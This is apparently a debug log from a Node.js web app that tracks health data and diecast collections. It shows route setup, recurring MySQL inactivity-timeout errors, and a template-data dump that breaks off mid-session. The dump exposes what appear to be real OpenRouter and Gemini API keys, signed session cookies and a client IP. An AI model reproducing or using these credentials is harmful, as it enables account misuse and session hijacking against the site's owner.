2025-12-18T18:31:36.532Z server-connect:setup:routes Api route /api/health/get-exercises(.json)? created
2025-12-18T18:31:36.534Z server-connect:setup:routes Api route /api/health/get-schedule(.json)? created
2025-12-18T18:31:36.536Z server-connect:setup:routes Api route /api/health/get-weight-log(.json)? created
2025-12-18T18:31:36.542Z server-connect:setup:routes Api route /api/health/manage-calories(.json)? created
2025-12-18T18:31:36.547Z server-connect:setup:routes Api route /api/health/manage-schedule(.json)? created
2025-12-18T18:31:36.549Z server-connect:setup:routes Api route /api/health/manage-weight(.json)? created
2025-12-18T18:31:36.555Z server-connect:setup:routes Api route /api/health/todays-calories(.json)? created
2025-12-18T18:31:36.561Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2025-12-18T18:31:36.563Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2025-12-18T18:31:36.569Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2025-12-18T18:31:36.571Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2025-12-18T18:31:36.575Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2025-12-18T18:31:36.577Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2025-12-18T18:31:36.579Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2025-12-18T18:31:36.585Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2025-12-18T18:31:36.587Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2025-12-18T18:31:36.589Z server-connect:setup:routes Api route /api/test(.json)? created
2025-12-18T18:31:37.437Z server-connect:app Executing action step identify
2025-12-18T18:31:37.437Z server-connect:app options: { provider: 'security' }
2025-12-18T18:31:37.439Z server-connect:output identity: 1
2025-12-18T18:32:39.286Z server-connect:app Executing action step identify
2025-12-18T18:32:39.286Z server-connect:app options: { provider: 'security' }
2025-12-18T18:32:39.286Z server-connect:output identity: 1
2025-12-18T18:32:58.842Z server-connect:app Executing action step identify
2025-12-18T18:32:58.842Z server-connect:app options: { provider: 'security' }
2025-12-18T18:32:58.843Z server-connect:output identity: 1
2025-12-18T18:38:20.232Z server-connect:app Executing action step identify
2025-12-18T18:38:20.232Z server-connect:app options: { provider: 'security' }
2025-12-18T18:38:20.232Z server-connect:output identity: 1
2025-12-18T18:38:22.899Z server-connect:app Executing action step identify
2025-12-18T18:38:22.899Z server-connect:app options: { provider: 'security' }
2025-12-18T18:38:22.899Z server-connect:output identity: 1
2025-12-18T18:43:31.222Z server-connect:app Executing action step identify
2025-12-18T18:43:31.222Z server-connect:app options: { provider: 'security' }
2025-12-18T18:43:31.222Z server-connect:output identity: 1
2025-12-18T18:43:34.245Z server-connect:app Executing action step identify
2025-12-18T18:43:34.245Z server-connect:app options: { provider: 'security' }
2025-12-18T18:43:34.245Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-18 18:45:37' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-18 18:45:37' as DATETIME)"
}
2025-12-18T18:49:54.227Z server-connect:app Executing action step identify
2025-12-18T18:49:54.227Z server-connect:app options: { provider: 'security' }
2025-12-18T18:49:54.227Z server-connect:output identity: 1
2025-12-18T18:49:56.891Z server-connect:app Executing action step identify
2025-12-18T18:49:56.891Z server-connect:app options: { provider: 'security' }
2025-12-18T18:49:56.891Z server-connect:output identity: 1
2025-12-18T19:27:58.234Z server-connect:app Executing action step identify
2025-12-18T19:27:58.234Z server-connect:app options: { provider: 'security' }
2025-12-18T19:27:58.234Z server-connect:output identity: 1
2025-12-18T19:28:00.731Z server-connect:app Executing action step identify
2025-12-18T19:28:00.731Z server-connect:app options: { provider: 'security' }
2025-12-18T19:28:00.731Z server-connect:output identity: 1
2025-12-18T19:31:50.729Z server-connect:app Executing action step identify
2025-12-18T19:31:50.729Z server-connect:app options: { provider: 'security' }
2025-12-18T19:31:50.729Z server-connect:output identity: 1
2025-12-18T19:31:52.810Z server-connect:app Executing action step identify
2025-12-18T19:31:52.810Z server-connect:app options: { provider: 'security' }
2025-12-18T19:31:52.810Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-18 20:14:01' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-18 20:14:01' as DATETIME)"
}
2025-12-18T20:18:37.145Z server-connect:app Executing action step identify
2025-12-18T20:18:37.146Z server-connect:app options: { provider: 'security' }
2025-12-18T20:18:37.146Z server-connect:output identity: 1
2025-12-18T20:18:39.702Z server-connect:app Executing action step identify
2025-12-18T20:18:39.702Z server-connect:app options: { provider: 'security' }
2025-12-18T20:18:39.702Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-18 20:33:11' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-18 20:33:11' as DATETIME)"
}
2025-12-18T20:41:08.736Z server-connect:app Executing action step identify
2025-12-18T20:41:08.736Z server-connect:app options: { provider: 'security' }
2025-12-18T20:41:08.736Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-18 22:35:11' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-18 22:35:11' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-18 22:58:01' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-18 22:58:01' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-18 23:04:37' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-18 23:04:37' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-19 01:08:12' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-19 01:08:12' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-19 01:17:12' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-19 01:17:12' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-19 01:29:12' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-19 01:29:12' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-19 02:47:13' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-19 02:47:13' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-19 03:01:13' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-19 03:01:13' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-19 04:30:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-19 04:30:38' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-19 04:33:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-19 04:33:38' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-19 04:54:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-19 04:54:38' as DATETIME)"
}
2025-12-19T05:27:01.650Z server-connect:router Serving templateView /
2025-12-19T05:27:01.651Z server-connect:app Executing action step identify
2025-12-19T05:27:01.651Z server-connect:app options: { provider: 'security' }
2025-12-19T05:27:01.652Z server-connect:output identity: 1
2025-12-19T05:27:01.652Z server-connect:app Executing action step restrict
2025-12-19T05:27:01.652Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-19T05:27:01.654Z server-connect:output restrict: undefined
2025-12-19T05:27:01.654Z server-connect:app Executing action step restrict
2025-12-19T05:27:01.654Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-19T05:27:01.654Z server-connect:output restrict: undefined
2025-12-19T05:27:01.654Z server-connect:router Render template layouts/main
2025-12-19T05:27:01.654Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AUXR9PGHg20u98CezKnbM6A%3D%3D.HQjqbFQJaUeOA16R7LVCZ3MZO9dS4KZQF%2FHKa%2Fio68utJFW5xPVTRwPx3zwidt%2Bx55JQpJ5WIV9ZTtegqThUwpG59ik2n%2BNaqlPxs3jVynt%2Bo2Lfnll%2FRVSPP1wHw%2B1PYAU6jIFVKHn1Sal2N0gDPvsfveh7fV37vO%2FsaAAXpIA%3D.JUd%2BSbeaCaVC4uGqHXwZ4G7V4Iv65IJMMEucDgtr4WQ; your_r_git.sid=s%3ArE092nvus6qi8O329a7fcCgQT17BSJHx.0g08k4LqGga4rYcpclTM98qK35ijxHcG%2BzTFTOJGbXg',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
